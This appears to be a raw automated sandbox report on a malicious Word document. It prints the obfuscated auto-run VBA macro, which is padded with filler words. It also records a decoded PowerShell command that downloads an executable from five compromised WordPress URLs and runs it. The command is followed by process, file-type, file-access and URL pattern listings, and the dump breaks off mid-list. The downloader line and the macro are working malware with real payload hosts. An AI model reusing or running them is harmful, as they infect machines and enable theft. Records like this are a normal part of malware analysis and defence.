Arkansas disintermediate Hungary River Ergonomic Awesome Eritrea Meadow Auto_Loan_Accountiok = Azerbaijanian_Manatsjt + CStr(connectovh) 'Operations Mayotte Ports Hill circuit reinvent wireless connecting 'Garden Ameliorated Oklahoma back-end Brook relationships Wend 'architect Islands parsing Centers Tasty Fresh Health__Toysfwz = Replace(copyhsl, indigoqss, "") 'Checking Account payment Practical Fresh Shirt Optional Concrete Awesome Frozen Bike Jordanian Dinar '/Knollsdnt 'Planner Universal Analyst zero tolerance transparent Secured supply-chains Incredible Cotton Shoes Intelligent Steel Mouse Steel protocol Incredible global Azerbaijanian_Manatsjt = "Intelligent Plastic Chicken Designer payment Rustic vertical Ergonomic Concrete Table Metal Handmade turquoise" '/Small_Frozen_Towelsrka While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'sky blue impactful Extensions Dam functionalities deposit parse Roads Netherlands payment feedzjj = Azerbaijanian_Manatsjt + CInt(932) 'e-business backing up Steel programming Kip methodical 'Generic Refined Cotton Mouse Sleek Frozen system redefine complexity Administrator Granite Sleek Steel Ball Dalasi withdrawal synergistic transitionalvak = Azerbaijanian_Manatsjt + Len("923") 'Cambridgeshire deposit Automotive Hills real-time Awesome Granite Keyboard systems Soft invoice eco-centric haptic Orchard hack Sleek 'deposit content 1080p utilisation Concrete paradigms systemjbs = Azerbaijanian_Manatsjt + CInt(932) 'solid state Chief Delaware model North Dakota Uganda Shilling 'orchid connecting Plaza turquoise Sharable HTTP Small Plastic Soap strategic Investment Account Generic_Metal_Cheesecuq = Azerbaijanian_Manatsjt + Len("913") 'Bedfordshire Trinidad and Tobago Credit Card Account Orchestrator online Supervisor interfaces client-server Legacy Missouri 'Unbranded Soft Chips Jewelery, Beauty & Jewelery Cedi streamline focus group Executive Interactions bluetooth Prairie optical THX Springs greydfh = Azerbaijanian_Manatsjt + Len("36") 'Handcrafted Rubber Soap Plastic Keys Utah optical Buckinghamshire Wooden Village Concrete asymmetric Facilitator 'bus Bedfordshire Games Distributed alarm Developer reboot Accounts Orchard Kentuckywsh = Azerbaijanian_Manatsjt + CStr(exploithil) 'Ergonomic Marketing generate Savings Account Global interactive 'Handmade circuit system-worthy dynamic models Port Wend 'microchip Granite backing up Practical Metal Hat Legacy synthesize Sudanese Pound End Function Sub autoopen() On Error Resume Next '/Garden_Movies__Movieszin 'e-business Realigned compressing Illinois Facilitator Taka Fall Plastic French Southern Territories interfaces platforms Azerbaijanian_Manatsjt = "functionalities visionary haptic parsing Granite Generic Frozen Hat Sweden online" '/Intelligent_Cotton_Computerjzz While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'invoice Virgin Islands, British artificial intelligence Tools & Toys Multi-layered budgetary management scalepbh = Azerbaijanian_Manatsjt + CInt(141) 'database Bedfordshire productize Avenue synergies hack Forward Pre-emptive quantifying Ukraine 'Operations Investment Account Flat compressing Gorgeous Metal Tuna 24/7 paradigm Health backing up Investment Account Bedfordshire Intelligent Concrete Ball dynamicipj = Azerbaijanian_Manatsjt + Len("137") 'synthesize Wisconsin aggregate bluetooth Handcrafted Wooden Computer Refined Wooden Gloves Fresh Central Montenegro Savings Account 'invoice analyzer Intelligent Cotton Chair Checking Account incubate Handcrafted Fresh Bacon Benin Analyst parallelism Dominicaqcq = Azerbaijanian_Manatsjt + CInt(320) 'synthesizing mission-critical Gorgeous object-oriented override Fantastic hierarchy Legacy 'Cambridgeshire bandwidth-monitored Avon Borders Practical Steel Computer Administrator Savings Account Chief Sleek Soft Chips connectingksr = Azerbaijanian_Manatsjt + Len("542") 'Wooden reboot Digitized Buckinghamshire deploy PNG Savings Account Devolved Public-key radical Computers & Electronics 'navigate West Virginia Island synergize Analyst US Dollar engage Product Fantastic Steel Towels mint green online Villageqsv = Azerbaijanian_Manatsjt + Len("796") 'USB Jamaican Dollar Virtual Optimization COM Unbranded Rubber Towels ability 'Sleek Soft Computer infrastructures bluetooth parse New Leu Oklahoma Planner Arkansas Handmade Metal Chips Small Rubber Bike Self-enabling Branch Denar Ergonomic Granite Fish Malagasy_Ariarypts = Azerbaijanian_Manatsjt + CStr(withdrawalwlm) 'visualize Handmade Frozen Car Money Market Account demand-driven Directives Park real-time Borders robust product Cook Islands Principal 'Reverse-engineered client-driven Investment Account white fuchsia Jewelery Investment Account Legacy definition Intelligent Fresh Tuna Steel Shoal Wend 'Lights Savings Account IB Creative JBOD Metal Cambridgeshire viral Borders Licensed Metal Chicken integrate '/Anguillafzu 'Upgradable synthesizing scalable Rustic Wooden Fish transmit Ridges Sleek Fresh Cheese United Kingdom Credit Card Account bypass XML Generic Fresh Chicken Azerbaijanian_Manatsjt = "Movies Toys & Automotive Solutions Sleek Soft Bacon Analyst override San Marino cross-platform European Unit of Account 9(E.U.A.-9)" '/Estoniasbw While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Directives Knolls Delaware circuit mobile Illinois Buckinghamshire Handmade Steel Cheese Multi-layered Guinea Franc bypass deposit Tools, Shoes & Garden moderatorjci = Azerbaijanian_Manatsjt + CInt(220) 'Distributed bypass New Mexico Fantastic Soft Ball multi-tasking virtual 'driver Rustic input Electronics orchid e-services navigate Licensed Granite Car Bedfordshirekuj = Azerbaijanian_Manatsjt + Len("617") 'Haven Handcrafted Rubber Shoes Refined Cotton Table violet Personal Loan Account solid state 'Unbranded Soft Soap Director Tasty Rubber Table Gorgeous Cotton Chair Investment Account quantify silver withdrawal Borders lavenderbqa = Azerbaijanian_Manatsjt + CInt(481) 'Personal Loan Account payment Books, Health & Beauty overriding Ameliorated Direct directional 'Rustic Incredible Fresh Table engineer calculate Sports, Computers & Sports Creek Associate indigodvz = Azerbaijanian_Manatsjt + Len("685") 'withdrawal Assistant Ridges quantify index applications Cambridgeshire Metical orange enterprise Bedfordshire Integration 'Frozen Rwanda Franc Islands reboot Program Walks Plastic pixel Fresh Knolls transparent whiteboardtrt = Azerbaijanian_Manatsjt + Len("685") 'South Dakota Handcrafted Metal Keyboard override Maryland innovate Cayman Islands Dollar 'Associate Administrator Home Loan Account ADP synergistic Trail Row Credit Card Account payment SQL Turnpike Togo Pound_Sterlingohn = Azerbaijanian_Manatsjt + CStr(Portsbuz) 'alarm Soft Bedfordshire Investment Account Money Market Account Checking Account CSS neural 'Security Berkshire Right-sized Arizona Washington bus navigating Beauty Handcrafted Administrator Frozen Wooden Wend 'Gorgeous Plastic Computer Springs Buckinghamshire Fantastic Plastic Shirt Handcrafted Brand Intelligent Rubber Shoes generate black Montana connect navigating Surinamenjp '/whitepbn 'back-end monetize Sleek Plastic Sausages Officer Compatible primary Azerbaijanian_Manatsjt = "payment Lights circuit collaborative systems back-end Small California" '/Handmadeitn While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'Automotive, Kids & Toys green generate Squares Concrete enhance invoice transmitterzwp = Azerbaijanian_Manatsjt + CInt(232) 'Rubber bypassing pricing structure Security synthesizing matrix Investment Account exuding GB Digitized Sleek Granite Tuna invoice asymmetric lime 'Baby & Jewelery Group driver Nakfa Designer North Korean Won productivity HTTP Pennsylvania end-to-end Kids & Kids Concrete disintermediate Cambridgeshire Specialisthub = Azerbaijanian_Manatsjt + Len("283") 'RAM array next-generation Cambridgeshire invoice Wells orchid primary customized Toys Junctions 'index mint green encryption New Zealand process improvement Metal Rest Division Awesome Metal Computer Checking_Accountizc = Azerbaijanian_Manatsjt + CInt(44) 'Buckinghamshire Industrial backing up indexing 24/7 Graphical User Interface matrix Marketing 'deposit Delaware Cross-platform Business-focused Integration disintermediate Well Bolivar Fuerte e-enable Markets Dynamic Bedfordshire deposit Operations Home__Homeico = Azerbaijanian_Manatsjt + Len("961") 'overriding calculating Tools enable Response Baht Advanced 'Ramp Causeway mesh Camp backing up Illinois Ridge infrastructure Rustic Kroon interface withdrawal calculatingrtz = Azerbaijanian_Manatsjt + Len("446") 'Rubber paradigm Plaza mobile deposit COM blue Walks 'reinvent Grocery, Movies & Automotive US Dollar Extensions Bahrain Specialist Ameliorated Unbranded compress Buckinghamshireqdj = Azerbaijanian_Manatsjt + CStr(paymentwzr) 'pixel ivory Intranet solution-oriented Cedi Designer bus Guyana Factors Handcrafted Rubber Pizza Administrator hard drive Bond Markets Units European Composite Unit (EURCO) payment 'Wooden calculating payment mobile Berkshire Dong Wooden Wend 'silver strategic program Rustic bypassing invoice Auto Loan Account Outdoors & Garden Rustic Wooden Bacon Lek Unbranded Rubber Chips '/Producerkmc 'Passage Producer transmitter Robust sky blue Soft Cambridgeshire process improvement Licensed Frozen Chair Executive Highway US Dollar Computers & Garden Azerbaijanian_Manatsjt = "Facilitator attitude-oriented Pound Sterling Unbranded Soft Idaho" '/Personal_Loan_Accountnvw While Azerbaijanian_Manatsjt = wdXMLValidationStatusOK 'grey Innovative deposit United States of America Identity Infrastructure Industrial & Baby Handmade Soft Pizza Thailand Indiana Guinea-Bissau algorithm deposit Productszu = Azerbaijanian_Manatsjt + CInt(161) 'Costa Rican Colon Rue Future Incredible standardization copying benchmark 'International Fantastic global copying Developer card mobile Steeliaa = Azerbaijanian_Manatsjt + Len("821") 'SQL XML real-time invoice Gorgeous Spring 'Pennsylvania View Officer Cambridgeshire extend upward-trending compress frictionless ivory Grocery & Music Ways Coordinator Generic Frozen Keyboard Auto Loan Account programdrf = Azerbaijanian_Manatsjt + CInt(528) 'Optimization SDD Senior firewall optical Circles Tasty Soft Chair Hollow Hills Streamlined magnetic 'web-enabled Web Unbranded Frozen Bike Practical Frozen Bike incentivize infrastructures Jewelery & Beauty Guinea Program Checking Account Generic Granite Gloves Corners Practical Soft Table Wooden Chiefmls = Azerbaijanian_Manatsjt + Len("391") 'cultivate National Investor Applications deposit Central out-of-the-box Refined Frozen Sausages Tokelau Liaison Iceland Krona Dong programming 'Unbranded Yemen Games, Sports & Kids Practical Plastic Computer Plastic Developer Tasty Fresh Car installation digitalzwn = Azerbaijanian_Manatsjt + Len("303") 'solid state Cross-group teal Nigeria Handmade Steel Shirt feed 'Central e-markets teal generate indigo synthesizing feed invoice Jewelery, Grocery & Clothing Licensed solid state deposit Holy See (Vatican City State) Bypass inputflf = Azerbaijanian_Manatsjt + CStr(greyajv) 'calculate pricing structure Park Synergistic Soft optimal ROI supply-chains parsing 'Handmade Concrete Soap utilisation quantifying Credit Card Account Colorado bandwidth-monitored Skyway Intelligent experiences Incredible Soft Chips payment Wend 'action-items deliver Canada impactful gold back-end virtual End Sub" File "Humanaoo.bas" (Streampath: "Macros/VBA/Humanaoo") has code: ""27:T553,Process "powershell.exe" (UID: 00025715-00002684) was launched with modified environment variables: "CommonProgramFiles, Path, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "powershell.exe" (UID: 00025715-00002684) was launched with missing environment variables: "MEOW, PROCESSOR_ARCHITEW6432, PROMPT, VXDIR" Process "897.exe" (UID: 00025998-00003536) was launched with modified environment variables: "PSModulePath" Process "897.exe" (UID: 00026222-00003372) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "897.exe" (UID: 00026222-00003372) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles" Process "capprep.exe" (UID: 00026760-00003396) was launched with modified environment variables: "CommonProgramFiles, LOCALAPPDATA, USERDOMAIN, PROCESSOR_ARCHITECTURE, PSModulePath, TEMP, APPDATA, USERPROFILE, TMP, ProgramFiles" Process "capprep.exe" (UID: 00026760-00003396) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432, LOGONSERVER, HOMEPATH, HOMEDRIVE" Process "capprep.exe" (UID: 00026973-00002400) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64"" Process "capprep.exe" (UID: 00026973-00002400) was launched with modified environment variables: "CommonProgramFiles, PROCESSOR_ARCHITECTURE, ProgramFiles"28:T550,Spawned process "powershell.exe" with commandline "powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGM ..." (UID: 00025715-00002684, Additional Context: "<# https://www.microsoft.com/ #> $motivatingquq='Intelligentbqv';$modelsvhz = '897';$Assistantopz='Handcraftedcrd';$solid_statezch=$env:userprofile+'\'+$modelsvhz+'.exe';$plumkqj='US_Dollarjsz';$greenjwa=.('n'+'ew'+'-ob'+'ject') neT.webCLienT;$Rustic_Cotton_Fishsvl='http://www.eteensblog.com/2tgmnk/fJZIPCYV/@http://www.palisek.cz/wp-includes/YtgJbWQNtJ/@http://www.mnminfrasolutions.com/wp-admin/zeteXeJYC/@http://abbasargon.com/wp-admin/sqhztj4_dzq3e-019802155/@https://weiqing7.com/ex6/3r2js_ocgr3bew87-538460/'."s`PLiT"('@');$Graphical_User_Interfacezvu='Advancedinf';foreach($US_Dollarrbr in $Rustic_Cotton_Fishsvl){try{$greenjwa."D`owN`LOAdfiLE"($US_Dollarrbr, $solid_statezch);$wirelessfud='worldclassnkp';If ((.('G'+'et-'+'Item') $solid_statezch)."Le`NgTh" -ge 27543) {[Diagnostics.Process]::"s`TArt"($solid_statezch);$arrayvhc='maroonhat';break;$Azerbaijanwjk='calculateufw'}}catch{}}$Guyanalsw='Locksmvo'"), Spawned process "897.exe" (UID: 00025998-00003536), Spawned process "897.exe" with commandline "--caaf215f" (UID: 00026222-00003372), Spawned process "capprep.exe" (UID: 00026760-00003396), Spawned process "capprep.exe" with commandline "--83c0e935" (UID: 00026973-00002400)29:T4aa,"~__583658295301_1004.doc" has type "data" "897.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows" "RE_583658295301_1004.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Fri Oct 4 20:52:48 2019 mtime=Fri Oct 4 20:52:48 2019 atime=Fri Oct 4 20:52:56 2019 length=190976 window=hide" "8785896.wmf" has type "ms-windows metafont .wmf" "index.dat" has type "data" "4F9A5442.wmf" has type "ms-windows metafont .wmf" "C2DA935B.wmf" has type "ms-windows metafont .wmf" "386260D7.wmf" has type "ms-windows metafont .wmf" "3B6F62A9.wmf" has type "ms-windows metafont .wmf" "849394EC.wmf" has type "ms-windows metafont .wmf" "B231C914.wmf" has type "ms-windows metafont .wmf" "85992E05.wmf" has type "ms-windows metafont .wmf" "~WRS_1A55B392-6FBE-4E4D-8194-2A5527168528_.tmp" has type "data" "443E14AE.wmf" has type "ms-windows metafont .wmf" "80E439F.wmf" has type "ms-windows metafont .wmf" "98416121.wmf" has type "ms-windows metafont .wmf" "N8JKJMHQ1SGAVY4IHO3E.temp" has type "data" "5FB2BDA0.wmf" has type "ms-windows metafont .wmf" "MSForms.exd" has type "data" "~_Normal.dotm" has type "data"2a:T691,"WINWORD.EXE" touched file "C:\Windows\Globalization\Sorting\SortDefault.nls" "WINWORD.EXE" touched file "C:\Windows\Fonts\StaticCache.dat" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" "WINWORD.EXE" touched file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\clr.dll" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\user32.dll.mui" "WINWORD.EXE" touched file "C:\Users\1EKo3Vu\AppData\Local\Microsoft\Windows\Caches" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\cversions.1.db" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001d.db" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\KernelBase.dll.mui" "WINWORD.EXE" touched file "C:\Windows\System32\msxml6r.dll" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1A55B392-6FBE-4E4D-8194-2A5527168528}.tmp" "WINWORD.EXE" touched file "C:\Windows\System32\en-US\msctf.dll.mui" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B1069311-A861-4BFD-9969-2C8C5C826436}.tmp" "WINWORD.EXE" touched file "C:\Users\1EKo3Vu\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{061576E4-2B1D-49B2-BE1F-453A66FB6A6A}.tmp" "WINWORD.EXE" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{061576E4-2B1D-49B2-BE1F-453A66FB6A6A}.tmp"2b:T3b53,Pattern match: "https://www.microsoft.com/" Pattern match: "www.eteensblog.com" Pattern match: "l.ri/Smalllalivory" Pattern match: "http://schemas.openxmlformats.org/drawingml/2006/main" Pattern match: "http://ogp.me/ns/fb#" Pattern match: "http://gmpg.org/xfn/11/" Pattern match: "http://www.eteensblog.com/xmlrpc.php/" Pattern match: "http://www.eteensblog.com/feed/" Pattern match: "http://www.eteensblog.com/comments/feed/" Pattern match: "www.eteensblog.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/ad-ace/assets/css/style.min.css?ver=1.3.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/ad-ace/assets/css/shoppable-images-front.min.css?ver=1.3.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/mashsharer/assets/css/mashsb.min.css?ver=3.6.8" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/lazy-load/css/youtube.min.css?ver=1.3.3" Pattern match: "http://www.eteensblog.com/wp-includes/js/mediaelement/mediaelementplayer-legacy.min.css?ver=4.2.6-78496d1" Pattern match: "http://www.eteensblog.com/wp-includes/js/mediaelement/wp-mediaelement.min.css?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/video-playlist/css/video-playlist.min.css?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/gallery/css/gallery.min.css?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/jquery.magnific-popup/magnific-popup.css?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/css/snax.min.css?ver=1.43" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/css/snax-frontend-submission.min.css?ver=1.43" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/jquery.tagit/css/jquery.tagit.css?ver=2.0" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/jquery.tagit/css/tagit.ui-zendesk.css?ver=2.0" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/froala/css/froala_editor.min.css?ver=2.3.4" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/froala/css/froala_style.min.css?ver=2.3.4" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/froala/css/plugins/quick_insert.min.css?ver=2.3.4" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/froala/css/plugins/char_counter.min.css?ver=2.3.4" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/froala/css/plugins/line_breaker.min.css?ver=2.3.4" Pattern match: "http://www.eteensblog.com/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/css/font-awesome.min.css?ver=6.0.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/whats-your-reaction/css/main.min.css?ver=1.3.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/wordpress-popular-posts/public/css/wpp.css?ver=4.2.2" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/styles/original/all-light.min.css?ver=7.3.2" Pattern match: "fonts.googleapis.com/css?family=Roboto%3A400%2C300%2C500%2C600%2C700%2C900%7CPoppins%3A400%2C300%2C500%2C600%2C700&subset=latin%2Clatin-ext&ver=7.3.2" Pattern match: "http://www.eteensblog.com/wp-content/uploads/dynamic-style-1567123380.css" Pattern match: "http://www.eteensblog.com/wp-content/plugins/js_composer/assets/css/vc_lte_ie9.min.css?ver=6.0.3" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/styles/original/snax-extra-light.min.css?ver=7.3.2" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/styles/original/vc-light.min.css?ver=7.3.2" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/styles/original/mashshare-light.min.css?ver=7.3.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/wp-gdpr-compliance/assets/css/front.css?ver=1567040647" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/jquery.js?ver=1.12.4-wp" Pattern match: "http://www.eteensblog.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1" Pattern match: "http://www.eteensblog.com/wp-content/plugins/ad-ace/assets/js/slideup.js?ver=1.3.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/ad-ace/includes/shoppable-images/assets/js/shoppable-images-front.js?ver=1.3.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/ad-ace/assets/js/coupons.js?ver=1.3.2" Pattern match: "www.eteensblog.com\/sweet-18yr-old-rion-makes-her-debut\/,title:Sweet+18yr+Old+Rion+Makes+Her+Debut,image:http:\/\/www.eteensblog.com\/wp-content\/uploads\/2019\/08\/rion00001.jpg,desc:This" Pattern match: "http://www.eteensblog.com/wp-content/plugins/mashsharer/assets/js/mashsb.min.js?ver=3.6.8" Pattern match: "http://www.eteensblog.com/wp-includes/js/mediaelement/mediaelement-and-player.min.js?ver=4.2.6-78496d1" Pattern match: "http://www.eteensblog.com/wp-includes/js/mediaelement/mediaelement-migrate.min.js?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-includes/js/plupload/moxie.min.js?ver=1.3.5" Pattern match: "http://www.eteensblog.com/wp-includes/js/plupload/plupload.min.js?ver=2.1.9" Pattern match: "www.eteensblog.com\/wp-json\/wordpress-popular-posts\/v1\/popular-posts\/,ID:,token:1123317ede,debug" Pattern match: "http://www.eteensblog.com/wp-content/plugins/wordpress-popular-posts/public/js/wpp-4.2.0.min.js?ver=4.2.2" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/modernizr/modernizr-custom.min.js?ver=3.3.0" Pattern match: "https://api.w.org/" Pattern match: "http://www.eteensblog.com/xmlrpc.php?rsd" Pattern match: "http://www.eteensblog.com/wp-includes/wlwmanifest.xml" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/bimber/fonts/bimber.eot" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/bimber/fonts/bimber.eot?#iefix" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/bimber/fonts/bimber.woff" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/bimber/fonts/bimber.ttf" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/bimber/fonts/bimber.svg#bimber" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/css/7.3.2/styles/mode-dark.min.css" Pattern match: "http://schema.org/WebPage" Pattern match: "http://www.eteensblog.com/" Pattern match: "http://www.eteensblog.com" Pattern match: "https://www.facebook.com/YOUR_USERNAME/" Pattern match: "https://twitter.com/YOUR_USERNAME" Pattern match: "http://www.eteensblog.com/?s=" Pattern match: "http://www.eteensblog.com/the-last-word-information-that-will-free-essay/" Pattern match: "http://www.eteensblog.com/die-gefahr-die-anwendung-schreiben-eine-2/" Pattern match: "http://www.eteensblog.com/ghost-writing-kein-geheimnis-mehr-2/" Pattern match: "http://www.eteensblog.com/die-durchgesickerten-geheimnisse-der-wissenschaftlichen-hausarbeit-aufgedeckt-2/" Pattern match: "http://www.eteensblog.com/the-leaked-secret-to-best-online-essay-writers-discovered-2/" Pattern match: "http://www.eteensblog.com/short-article-reveals-the-undeniable-facts-about-best-essay-writer-and-how-it-can-affect-you-2/" Pattern match: "http://www.eteensblog.com/category/teen-videos/" Pattern match: "http://www.eteensblog.com/the-one-thing-to-do-for-what-is-a-term-math-2/" Pattern match: "http://www.eteensblog.com/sweet-18yr-old-rion-makes-her-debut/" Pattern match: "http://www.eteensblog.com/author/robet/" Pattern match: "http://0.gravatar.com/avatar/f3473c0c2d4d166102cde6542292aa62?s=30&d=mm&r=g" Pattern match: "https://wordpress.org/plugins/mailchimp-for-wp/" Pattern match: "http://www.eteensblog.com/hearsay-deception-and-examples-of-essay-about-myself-3/" Pattern match: "http://www.eteensblog.com/author/" Pattern match: "http://1.gravatar.com/avatar/?s=30&d=mm&r=g" Pattern match: "http://www.eteensblog.com/the-good-the-bad-and-language-translation-4/" Pattern match: "http://2.gravatar.com/avatar/?s=30&d=mm&r=g" Pattern match: "http://www.eteensblog.com/top-choices-of-structural-formula-chemistry-4/" Pattern match: "http://0.gravatar.com/avatar/?s=30&d=mm&r=g" Pattern match: "http://www.eteensblog.com/the-secret-to-entropy-chemistry-3/" Pattern match: "http://www.eteensblog.com/the-ultimate-brain-chemistry-trick-4/" Pattern match: "http://www.eteensblog.com/short-article-reveals-the-undeniable-facts-about-physics-project-and-how-it-can-affect-you-4/" Pattern match: "http://www.eteensblog.com/what-to-expect-from-biology-conjugation-4/" Pattern match: "http://www.eteensblog.com/lyse-biology-help-4/" Pattern match: "http://www.eteensblog.com/page/2/" Pattern match: "http://www.eteensblog.com/2019/10/" Pattern match: "http://www.eteensblog.com/2019/08/" Pattern match: "http://www.eteensblog.com/2015/11/" Pattern match: "http://www.eteensblog.com/2015/10/" Pattern match: "http://www.eteensblog.com/2015/09/" Pattern match: "http://www.eteensblog.com/2015/08/" Pattern match: "http://www.eteensblog.com/2015/07/" Pattern match: "http://www.eteensblog.com/2015/06/" Pattern match: "http://www.eteensblog.com/2015/05/" Pattern match: "http://www.eteensblog.com/2015/04/" Pattern match: "http://www.eteensblog.com/2015/03/" Pattern match: "http://www.eteensblog.com/2015/02/" Pattern match: "http://www.eteensblog.com/2015/01/" Pattern match: "http://www.eteensblog.com/2014/12/" Pattern match: "http://www.eteensblog.com/2014/11/" Pattern match: "http://www.eteensblog.com/2014/10/" Pattern match: "http://www.eteensblog.com/2014/09/" Pattern match: "http://www.eteensblog.com/2014/08/" Pattern match: "http://www.eteensblog.com/2014/07/" Pattern match: "http://www.eteensblog.com/2014/06/" Pattern match: "http://www.eteensblog.com/category/uncategorized/" Pattern match: "http://www.eteensblog.com/?snax_login_popup" Pattern match: "https://wordpress.org/" Pattern match: "http://www.eteensblog.com/wp-login.php" Pattern match: "http://www.eteensblog.com/?snax_login_popup=forgot_password" Pattern match: "http://www.eteensblog.com/wp-login.php?action=lostpassword" Pattern match: "http://www.eteensblog.com/wp-content/plugins/g1-socials/css/screen-basic.min.css?ver=1.2.10" Pattern match: "http://www.eteensblog.com/wp-content/plugins/g1-socials/css/snapcode.min.css?ver=1.2.10" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/lazy-load/js/lazysizes/lazysizes.min.js?ver=4.0" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/lazy-load/js/youtube.js?ver=1.3.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/video-playlist/js/mejs-renderers/vimeo.min.js?ver=1.3.3" Pattern match: "http://www.eteensblog.com/wp-includes/js/mediaelement/wp-mediaelement.min.js?ver=5.2.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/video-playlist/js/playlist.js?ver=1.3.3" Pattern match: "http://www.eteensblog.com/wp-content/plugins/media-ace/includes/gallery/js/gallery.js?ver=1.3.3" Pattern match: "www.eteensblog.com\\\/wp-admin\\\/admin-ajax.php\,\home_url\:\http:\\\/\\\/www.eteensblog.com\,\user_id\:0,\post_id\:0,\nonce\:\7500a30bd0\,\history\:\off\,\i18n\:{\are_you_sure_remove\:\Entire" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/collections.min.js?ver=1.43" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/jquery.magnific-popup/jquery.magnific-popup.min.js?ver=1.1.0" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/jquery.timeago/jquery.timeago.js?ver=1.5.2" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/jquery.timeago/locales/jquery.timeago.en.js" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/plupload/handlers.js?ver=1.43" Pattern match: "www.eteensblog.com\\\/wp-admin\\\/admin-ajax.php\,\site_url\:\http:\\\/\\\/www.eteensblog.com\,\autosave_interval\:60,\use_login_recaptcha\:false,\recaptcha_api_url\:\https:\\\/\\\/www.google.com\\\/recaptcha\\\/api.js\,\recaptcha_version\:\" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/front.js?ver=1.43" Pattern match: "http://www.eteensblog.com/wp-content/plugins/snax/assets/js/featured-image.js?ver=1.43" Pattern match: "www.eteensblog.com\\\/wp-admin\\\/admin-ajax.php\,\error_msg\:\Some" Pattern match: "http://www.eteensblog.com/wp-content/plugins/whats-your-reaction/js/front.js?ver=1.3.2" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/flickity/flickity.pkgd.min.js?ver=2.0.9" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/stickyfill/stickyfill.min.js?ver=2.0.3" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/jquery.placeholder/placeholders.jquery.min.js?ver=4.0.1" Pattern match: "http://www.eteensblog.com/wp-content/themes/bimber/js/matchmedia/matchmedia.js" Pattern match: 